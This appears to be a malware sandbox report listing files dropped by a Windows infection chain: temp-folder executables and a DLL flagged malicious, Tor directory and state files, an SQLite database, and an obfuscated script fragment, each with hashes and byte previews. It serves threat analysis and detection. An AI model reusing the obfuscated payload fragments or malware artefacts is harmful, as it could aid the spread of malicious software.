SHA-512:	19DC63A80E3194D3E3F083F1906E69C9E443633051E69FC3C0E5342B064F12386BF5B46A6AF623D59F2076211D8BED62671DC80BC2832DB2750DE91FC8D8C68F
Malicious:	false
Preview:	Set hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW=i..UzaFAnceiJRjTspTVtq=rHCGRvJecOejKkEwIxAfkqP..PqzYEKTdWFvhQLNrOzHaGECHNi=BEKveRMRReLbKV..dyPslXHvARzbpknMlvmaMkox=rUVwrWXbUhvRvXgTil..JxCGzdAwlDZyWcVueLcvUc=fXwUOmknEw..LwBgCKDUNTUoAvBQkiMNK=xjIacLCZtxtzKTF..pKTqIuxOAnhJZdShRbHgFpfSa=PmtuLHlbYwUKFgSURWbSZNCQB..Set jsoZcqHUsVKxMGnBaQziRzvLaaxmNwWgEnc=q..YGTrLXWlblRxnxM=xcSUbHeGiufYcPhlFj..pAruvmAVoDyfGlRpr=YRdEhWEHYOHWHPkqDWsfv..WMTrwQJOEFlHGcrEhi=PBMhjVdtGHUSOuDUEKpU..XlpeMZoPWYJpNHTlnHiLMriJN=AeBnUrhNRdCkmVifJI..IqmJKyeepeUrmg=nygbrFWqQCHhokDv..nntxwaQzRqrLWhrWo=wqjFFLqIurSURFFBEw..WvNbtkFSgUfEs=OBviTSazzkNBXpbuxIwLjqgCizqTM..RnAVetoxLoRCrBKDgcxomGCFM=jTZASmHExgqeizXqXTUKWNSEt..nDfkWUpgSfckfaUmivCjg=kmIJLwSnwc..hwtfosySSAHFMDCPbG=wRdvaQChpivzgZPedQ..Set YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ=p..sEnVVPWFoZVwBIGkyMyKaqA=YxpgqEYjilgPywJVCqWXQcF..YKcmUCfstQWBGHFDwJTsxQut=poarCRDPnff..maFUWKgyofVca=uChdiDsvKxXhBYzMisfxCshbnuSY..ThXLGKqBoiMReHkXJpdMvoDyXzP=QRwLaBRiqCUhalZ..DDmJeAOXBjnLK=NhVMLduqmAQtWugezkpzCx

C:\Users\user\AppData\Local\Temp\38204\Instances

Download File

Process:	C:\Users\user\AppData\Local\Temp\90FB.exe
File Type:	data
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.578886280005297
Encrypted:	false
SSDEEP:	3072:8fsUQwHJJX4xF5jtHk5B+LNBPcAvPTjFq9q:csvqJX4xNAB+xHFq9q
MD5:	8716BA4268C997B3594E7CFD5AE8FFBE
SHA1:	30F35DC0EBBA1C0997D9F50AB01D6DB37964DAB7
SHA-256:	922CA4C9F27FDF74E3C3C7FD3EBE0C3CDF9FF5520BE53038DD170164A7A4BAD5
SHA-512:	29F4496763AA8A57B063AB8DB53DE062BD93236FF0651EDCA516D2711AAE9D5E5C40F0B176819B4B38A518DE30F6E7D796732DF085951272AB0609CC793B522E
Malicious:	false
Preview:	'...YP....l.I.W.6....I...y..6..p.I.j..6......&.YY......._..^..]...V.....f;.t.2.^.S3.Cf..t_f;.tZ..`..uH...u.j.RV.-...j.Y.."w......G..$...G.....j...j.YQ.B.P.F.P.A...............F.;B........[^..G...G...G...G...G....................................................U..V..F...~*...~....t....t....t....u..V....M.....>...N...t.Q.%....f....^]...V......j.V....YY..^...U..V.....j......U...Y....t!...0........A....0j..p...........j.....Y...A....@.......F.....^.@.]...U..SVW...P...j..D..........3..u..>.~..~..~..~..M.....E..B..E..B..E..B........M.....t.Q.........C........3.M......._^[]...U...$SV..W.F......;.................................tD.........H...t(...t....3.j.......Y...........@.......3.G.E......V..U......t..z......W.s...Y.M......I........u{S.`....U.Y.z...t.W.F...YW.M.........M..U.....W.u.S.:.......M......6...].j......E..F.j..E.....j..E._W.......E.WPS........j.......Y.8...X..N...t.Q......f...F....._^..[..U..V..F...~GW.}....~&...t&...t....~....~....u$9G.u.W.......M.

C:\Users\user\AppData\Local\Temp\38204\Mfg

Download File

Process:	C:\Users\user\AppData\Local\Temp\90FB.exe
File Type:	data
Category:	dropped
Size (bytes):	271360
Entropy (8bit):	6.0855752091996695
Encrypted:	false
SSDEEP:	6144:P0lHPOGUWLhxjRYmFqZvEAOz04pmdV364Egar:P0lHPOGNnlMZce4wdV5Ega
MD5:	48C1AB8F82B10195B9FF4244D5BF9540
SHA1:	40C3DF2ED56058E474363097A50E3410DC3AAE51
SHA-256:	71AB87B2E5CECCEBE76EA2F60A3456D8A950662892C5BD50008AC7A40090CC50
SHA-512:	60BD24E06A5D8224E14479BC1300AE9A49C609F017F330A1CBEC6315313FC663C0E7BE85C38B165F44BF62FFDDA89C346C7E2A68CF185AD33DDDB244833DF8B1
Malicious:	false
Preview:	.....j...j.V.t$..K....\|$$.\$(j.j.j.V.._...........(..j.Xj.j.P.t$..F..>.^..\|$0.\$4..^...........(..j.XPj.P.t$..F..>.^..\|$8.\$<.^..........(..j.Xj.j.P.t$..F..>.^..\|$@.\$D.^..........u(..j.Xj.j.P.t$..F..>.^..\|$H.\$L.d^..........H(..j.Xj.j.P.t$..F..>.^..\|$P.\$T.7^...........(...^.....j(.L$.QP....I...u....@..\|8...L8.t..I8.A......\|8...L8.t..I8.A...c.M....j...j.S......\|$0j.j.j.S.]..........'...f..j.Xj.j.P.F..>.\|$,S.]..........\|'...f..j.X.>.F..t$...`.I..,...@..\|8...L8.t..I8.A......\|8...L8.t..I8.A.._^3.[..]...U.........SV3..D$ ..K.WVj..t$0.t$4.t$8.D$p,.......I....D$hPW....I..]..L$......L$H......$....P.L$\.g....D$H3.P.D$.PV.L$d.......L$X.....D$HP.L$......9s.t(.C..0.......F.3.V.p..0.t$ .t$ .^3....uA.D$p.L$$.D$4.D$..D$8.D$..D$<.D$..D$@.D$..D$D...D$4P......L$8......L$H......L$.......D$hPW....I.........W..`.I..M.......\|$,..j..O.Qj.S.....VVj.j.S..[....$......%..3..>@.F............D$(.t$ .D$......Pj.Vj.j.S.[........b....L$......D$..D$...y.....L.j.Vj.j.S.\$$.n[..........R%...D$..D$...

C:\Users\user\AppData\Local\Temp\38204\Span

Download File

Process:	C:\Users\user\AppData\Local\Temp\90FB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	305152
Entropy (8bit):	6.608432155619079
Encrypted:	false
SSDEEP:	6144:LQBk7JjX74cN0lrztgwU0Wyw3mFygyE4mqd12lqlEAehuqN8zwNa:LO0z8e0lvSr0Wyw20K4mqClqlEZul
MD5:	C3AC7E357A0C696C7B80C94053CC81B4
SHA1:	0802EB8ACCCBE2E0924CACB5127F48054B5DA38E
SHA-256:	EBE1B557F2979029744308F2AE5640CFCBDB1C3D4B667015A83A2B59ED6D6927
SHA-512:	3FC612476199780D56B2FCF3B2BEFF17FC17D70997A58E60F21EA29DF54F39B6BD2BC5217F322238DE72B41F5A8FA029843DA57CACC41DB5F3FDC1D5A5DEC817
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L......`.........."...............................@.................................!Z....@...@.......@.....................T...\|....P..h............L..`&...0..,v...........................C..........@............................................text............................... ..`.rdata..r...........................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..,v...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-certs.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\6071.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20852
Entropy (8bit):	6.051534614948206
Encrypted:	false
SSDEEP:	384:y/40VVq1h8PXtb50IU4mV91h5yd24ZFtVf1hc1xc2q48XVd91hMBaU4XVy41h9Y4:oJiO9b+3jnt62M1ux8nX9832xiyrqvUr
MD5:	8B3C9D1CC6E542798B1E8400C63305E9
SHA1:	873BD237AC5F947A7BED974F9CD7B48C97A359C4
SHA-256:	ECC39AF72E592EC172E2FB015E0F03DCF189619D1F9A8A406CB8062383C4EBAB
SHA-512:	C3D8B332A6C9E5C5A01A1CF7BE33FF5C85A61F85A06156ED40401A8AA19ACDE628303AA39987A12BF256CB331115C60E9A88A84BC91D9F4513B8BB17FEDBCEBC
Malicious:	false
Preview:	dir-key-certificate-version 3..fingerprint 23D15D965BC35114467363C165C4F724B64B4F66..dir-key-published 2023-09-02 14:31:55..dir-key-expires 2024-09-02 14:31:55..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEAlv6XS+VppPaQzOgor0YFlcXLWeXiMn5N3VBneXuw8maLOu9oPJ9z..2/oMQN8a+VOWTf+/jebGzOBK6MamXpgsIZPQWiT18gZMsYdR8mcqBYqVP3khwUWh..9QYkV+m+Auxa0TLzTrsi6dLDJ384XdpDweU+YJghMJNZ1NqiT8ogj84hxs5Tf+Qf..bn7EBIcU7SAKr5Lw25KrMb5e3AZSC5MilBS/KLgVTq/GiWb7pKd5pxGwlGolNX8a..PccZ2ZT2DrSQsct4wVxhSbUqANI3PfMpXvmUDxWWBgbQwLF02/4gi+13snlHtqwl..y1WjE55HVfx1CTX13SStwmF/N3SFtFf1qil3j5qrHdHtKlAYOaTfqab1eLVH1l83..LI5QWD7ri9GpPqIjlh6PuaHjaO2FW20SouZtS9jJKwi1l1G3ef1tSlha1cxkRxIp..U/ngvQBsoa9X26VfQA4MieZgVVdMVwjCNh2YC9aEXc/KxfcBueZkM1194qP88cVu..dOFYaftOkuGPAgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBCgKCAQEAsTgcO/j4mOopmrzOci9YXEWg9n1Dd7rFfeZcse/IV6wPbleb/Z0z..C6XQFfbtEPahRACpBbTH3fPEqSrR0wnrMzezD0jSUH6YjcKnPH3gxqcMH4rRbB0P..XrBmuCaEV0TzdorruxxKJvTTTB0Z

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\6071.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2845577
Entropy (8bit):	5.617574957777493
Encrypted:	false
SSDEEP:	12288:YULtpoSi0lFlTDg3beLyIvUfzCWT8QqWDvgkSa1heN3e1+I4HgBds1d:YmzoLUg3bjrCWYMDIkSa8e5ds1d
MD5:	C3B049E7FCDE7224906F508DC60050C1
SHA1:	3CBD233247D60905D21CB4A7FBDBAE76F6756EA7
SHA-256:	E4F409179A2B56B0958CD91C9C0E2A36BC9A5AF2047133C56965C68147A4F4E9
SHA-512:	C0AB50F81D6EA79A0E94504CDEA36D5C562258B69F83F06E6FD4B657B4719D5B04263D2561F675A93DD74DCB5E137282439B71B46A162CF26C2FB42F5EAEF5BA
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2023-12-02 16:00:00.fresh-until 2023-12-02 17:00:00.valid-until 2023-12-02 19:00:00.voting-delay 300 300.client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9.server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdescs.new

Download File

Process:	C:\Users\user\AppData\Local\Temp\6071.exe
File Type:	ASCII text, with very long lines (16386)
Category:	modified
Size (bytes):	21551518
Entropy (8bit):	4.82726555764219
Encrypted:	false
SSDEEP:	24576:OA3CR0croHBI+VNVKw+2FIjn3HdGfGWrN7V6i6AtCaTFl8odWmS38Z9eA/kdbqZ2:Oxmnf1RzTaE4nSeujvyPp622aUk
MD5:	233903DB8C10EE2371880E5FAE9E6335
SHA1:	EDE6CD31DD4A4C72CC77F496980985E892C1A668
SHA-256:	E94B97968156809C7B3254DBA643AE0419418BC92AF11B9298A430E5C744CFF0
SHA-512:	3294226881BF043B8F42FA66E11335F17DCF4A6CADD753AA3CDE24F1B329CF33D323AE11631ED49D0A473434EF9AF8D809798F2EF8FB8383D90387882981BE73
Malicious:	false
Preview:	@last-listed 2023-12-02 18:57:46.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBANnjMpj+LGelayMTuDEbYE+IWcaxM0aZ1C1ZgLBafrf+l/Nc+V0cWxLV.HM2zVoCwa+x4zNsYtA7VJIR+G5cLGKy1YbMtb5i89uCLmvk5JV+sJr6GsFoDIyGW.PSgAzQRLDJnrZbYQe7K98ilK7Oc2gj4rKYzzeM6tkA4pLCco7t7LAgMBAAE=.-----END RSA PUBLIC KEY-----.ntor-onion-key lU8+UY0MaMkgsA/Uhhj0W+Pxb6vMcIQTtUzTTWL2iTE.family $00CC3A3D92C33E171BBDAEACC4601173BFA24150 $0145977CF1D2D4AAF98907BF81DAAD8480EFC3FD $02EC629306C61EE1D3BDD4DD978514B99E226EA0 $038B2A774C859796FC11D26DB7F16494708F7749 $045BBCA9602A22C112984F25003CD4897CFFB9E5 $06A64BF11983B8323FF7EEDCE5C35A0543523B54 $06B07DD797C5D54D61DB9AAC4554AB7C4845549B $0B06DD6A65C48EA79FC43031CBD93650B08A0661 $12C2B0CD1B8C7A12229A7C36E134274550DCD7F4 $12CD9B24FB7F981E800F86A37DEFA47B4AE572DC $1CCA5C61826AA2C48310BD771E7B0A96FF6BCA6D $1D24292113610F0096FCC554664EC33BE27A4F54 $1D7EBE2ADBEF0353AA77C579CD013B5CF82E740D $1F953ACBFB9F44CE38543B7E9C0E0BE1BDC7E941 $22031066AA0C1A8CD90E2BC03CB60A4AAF713EF6 $245C88E53

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\state.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\6071.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	3932
Entropy (8bit):	5.315176721675114
Encrypted:	false
SSDEEP:	48:cpF1esD4qx5dZu/VFqeZYv9fImtKZO4B7aAtbd+p1Ah0+qk/:2F17x/ZEVFqLFfImt94B7nOp+0+qk/
MD5:	84D8DF47786387A001398196422B08A3
SHA1:	2F1623337D5E32C67889452B687200B06ECC60D9
SHA-256:	505FFF87DC55F3B8FCA33EAB2111AFEB94DA319B2AD289102E1962B79CCB884A
SHA-512:	5E3AF36A73C5B4580BC7A364958D5D876D4F1F23BCFD1AAABBC8B441C4A92DA8578702452C87A584C16EF1A9AF364407887F244F6F9F7C75E6C565A36DD2E68F
Malicious:	false
Preview:	# Tor state file last generated on 2023-12-02 20:01:05 local time..# Other times below are in UTC..# You do not need to edit this file.....CircuitBuildTimeBin 1075 1..CircuitBuildTimeBin 1325 2..CircuitBuildTimeBin 1375 1..CircuitBuildTimeBin 1475 1..CircuitBuildTimeBin 4375 1..CircuitBuildTimeBin 10075 1..CircuitBuildTimeBin 11125 1..CircuitBuildTimeBin 11375 1..CircuitBuildTimeBin 12325 1..CircuitBuildTimeBin 16375 1..CircuitBuildTimeBin 16675 1..Dormant 0..Guard in=default rsa_id=CF01E4703E57B2859A90F926887218FD12FF9C18 nickname=Azathoth sampled_on=2023-12-01T22:49:50 sampled_idx=0 sampled_by=0.4.4.9 listed=1..Guard in=default rsa_id=CDD296D8C38EAA6A94242FCF03293E0D6EC4A0D0 nickname=zighimilan sampled_on=2023-11-22T17:48:17 sampled_idx=1 sampled_by=0.4.4.9 listed=1..Guard in=default rsa_id=4837A6DFFC8E3681D70AD9E8D057C029093DA2F7 nickname=KherNl sampled_on=2023-11-22T23:16:45 sampled_idx=2 sampled_by=0.4.4.9 listed=1 confirmed_on=2023-11-28T00:14:51 confirmed_idx=0 pb_use_attempts

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\unverified-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\6071.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2845577
Entropy (8bit):	5.617574957777493
Encrypted:	false
SSDEEP:	12288:YULtpoSi0lFlTDg3beLyIvUfzCWT8QqWDvgkSa1heN3e1+I4HgBds1d:YmzoLUg3bjrCWYMDIkSa8e5ds1d
MD5:	C3B049E7FCDE7224906F508DC60050C1
SHA1:	3CBD233247D60905D21CB4A7FBDBAE76F6756EA7
SHA-256:	E4F409179A2B56B0958CD91C9C0E2A36BC9A5AF2047133C56965C68147A4F4E9
SHA-512:	C0AB50F81D6EA79A0E94504CDEA36D5C562258B69F83F06E6FD4B657B4719D5B04263D2561F675A93DD74DCB5E137282439B71B46A162CF26C2FB42F5EAEF5BA
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2023-12-02 16:00:00.fresh-until 2023-12-02 17:00:00.valid-until 2023-12-02 19:00:00.voting-delay 300 300.client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9.server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols

C:\Users\user\AppData\Local\Temp\5833.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	311296
Entropy (8bit):	6.287791894320628
Encrypted:	false
SSDEEP:	6144:2fSw9KStWg/6j7WmRbChklagnN6V3YOp69a:2fag/6j7zJkkcSexII
MD5:	33A60439E95F0DFC10016075F97AEB0C
SHA1:	FB3595F8A5F9C243E5AD108FF11BC5CB2400EC2B
SHA-256:	0F6DB13C0239CA113C19EBEAEC8F3243572FD365C3396EFF1777115BC08849A1
SHA-512:	C08FF3D27EB92B369BBDCFB5EE3405E345BB3DE3004B985BA48B4308D22851403CFC440B8242C1F4CCBBB75986FEEAD1C800BDDD58A225274386B878AAAD9A90
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................................PE..L....u-d.....................n:.....:.............@..........................P=.................................................<.....;.............................................................@G..@............................................text............................... ..`.data....8.........................@....rsrc.........;.....................@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6071.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2037760
Entropy (8bit):	7.895271771869351
Encrypted:	false
SSDEEP:	49152:JpOMJqAtfj8YFWZUQUqxbhS+oWOKl9BoKzLPGz+fATq:BJqaj8S8zUqx0xW1KKzLP8w
MD5:	57C833BFD5042E34BEC23DFD711CD151
SHA1:	6BCD1915173D57D369E209943BE31EEBEBDD535A
SHA-256:	9D3C881C29156B8FD82CED7C7726C4C65D4E741533C9F886112F440698B1469D
SHA-512:	3C14531CD81AC2276CAC72DA573CB5F452C53B96175ACCA025A8E30251C487FCD382A8BC25A5241E6700832DBB760313BF9E51FFA0FCD480D5DDC6662CBC02E1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...#.\|d.................V....:.....J........p....@...........................W.............................................pY..<.....V.............................................................PG..@............................................text....T.......V.................. ..`.data....8..p.......Z..............@....rsrc.........V......t..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6719.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4837528
Entropy (8bit):	7.644123535534845
Encrypted:	false
SSDEEP:	98304:8YbMJ0o1ZTbhGv4XxDaoVsT2G0u6loCn3bcbz7ikKUKgavi0mtlnla:pbcZTbgoxDoT2RujC3bM1Kgimjla
MD5:	A3DEA4C1F895C2729505CB4712AD469D
SHA1:	FDFEEBAB437BF7F97FB848CD67ABEC9409ADB3B2
SHA-256:	ACFA700A776EF8622839FD22F3BCCA3E7183E3EE2E21473CA0D9CCDC895C4AFD
SHA-512:	9DA049B6E9169E1079182CE04FD852E823D6BB31F0BE3A814EE687047F3831C3CAC58DD46B6A8592714AFD102233D40A70A0B66E5F094D014C7059B119AA11C4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 30%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....CW...............0...............n.. ........@.. ................................I...@.................................:...P.....................I............................................................................................. ..... ...J.................. ..`.rsrc................N..............@..@ ............................@..B.idata... ..........................@....themida..`.........................`....boot.....>...m...>.................`..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6B8F.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2166784
Entropy (8bit):	7.913889718588175
Encrypted:	false
SSDEEP:	49152:j5ulldrv5+K6O0b+y3S+DqmufdMoHn+nZSR:jIjW9XzuLH+n
MD5:	824CCD36914386EF3376494C93DC2E8F
SHA1:	4FB7898A439B0CECD856F8E6BA434728E6B3E4DD
SHA-256:	CAD7DBC2FBF4F4F0426A4F0A467D394D48534E22A3013D6B525FEF5C3E976A28
SHA-512:	BFE6E970C5E44D56D9A1523CA3259A08DAEAA4AF1C9FB230AFC58B216944165C44F44DC80F4A3CB510A04DC3921C76E8FD458112AE88AA11B75633690A5C9BD8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 27%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A.-$..Cw..Cw..Cwj..w..Cw./.wG.Cw..w..Cw..AvK.Cw...wH.Cw./.w..Cwk.Cvl.Cwk.Fvz.Cw.^.wK.Cw..@vc.Cw..Cv..Cw.^.w..Cw"t8wZ.Cwk.GvQ.Cw./.wf.CwRich..Cw........PE..L....Kje...........!.........P .............................................. !.........................................d...P......... .x..................... .$K..`...................................................\............................text.............................. ..`.rdata..............................@..@.data....u.......p..................@...CRT.....)C...`...P...P..............@....rsrc...x..... ....... .............@..@.reloc...^.... ..`.... .............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\85CF.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	259072
Entropy (8bit):	6.421674233954642
Encrypted:	false
SSDEEP:	6144:3VATIdzsrVTDjJQB2uHCNRq7QvNASZBet8p6:3xorVTDFYEz+YAQBDI
MD5:	CD4811C966234ED3742118C9B299A8CA
SHA1:	68C412D7C8DB8541B401F11D6D2BBA725158D33C
SHA-256:	58175EF608120C57E25B46EFCE3100A509C9B90E0DCA0D638349B1F037881374
SHA-512:	6CE38B527F00F8589FE2BEB29FFAE896961922CB29DE92C45A3919FEC04374606F6AC5AD40F6679917865BCB8849D4F4371D04B63F37D7E16B17293F6632F40E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L.....}d......................9.....^.............@...........................<............................................. ...<....p;..............................................................C..@............................................text............................... ..`.data.....8.........................@....yozi........`;.....................@....rsrc........p;.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\90FB.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1336832
Entropy (8bit):	6.78691699434855
Encrypted:	false
SSDEEP:	24576:Euc1EExyzMMqBe2plXY5TMWzqgqeo74tlda8inZFsk2vsc84/ZGP6dmBYZ:EucnyzMUZq4Doqk2vj/hS6RZ
MD5:	663BEF796CAD090D04538B9B618C2134
SHA1:	D47C6E447278E09CBD2BCCBC6973EC93E381C451
SHA-256:	1C549F923EF59769ECCF16055D1FB866881166831BCEB8FEB5D8D1337ABAB07F
SHA-512:	EA3E3A562EE2DAE6DBA947A792CBD94FC679EBCA5D8724EFBEC1BD7C5C39C70BE2DCAC0930D07A73B515508B436EE9E83FD9CD648F7424E3DD1A72C1E0FFC8D1
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....@ke..........................................@..............................................@...........................p...'...@..........................,v..................................................Dw...............................text...P........................... ..`.itext.............................. ..`.data...x ......."..................@....bss....\M... ...........................idata...'...p...(..................@....tls....@................................rdata..............................@..@.reloc..,v.......x... ..............@..B.rsrc........@......................@..@.....................f..............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\9B18.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9B18.tmp-shm

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9B3D.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1899296
Entropy (8bit):	5.55495304498673
Encrypted:	false
SSDEEP:	24576:u6A0ONiBMSLN7SCmzK89WLIj7Kat6a9DhvhYcBN5P:tA0LN7SCYsIfKat6a3vjpP
MD5:	D91540ED753B8137486C21FCC71F5824
SHA1:	16534B5421A6615CC3D90601F6E0A2D3E68FF567
SHA-256:	66389E8E3338EB2791929EC9768C90905587A4659DC24E82A8D0E3D09E03C4EE
SHA-512:	D15E1AE7C3704C3756A031842FB6853D744FF899D78B845962901151E7628CD76F494AD7CA1043F571DA1EB8D3F11206B89A831B782E3A019BBF773C219F4B3A
Malicious:	true
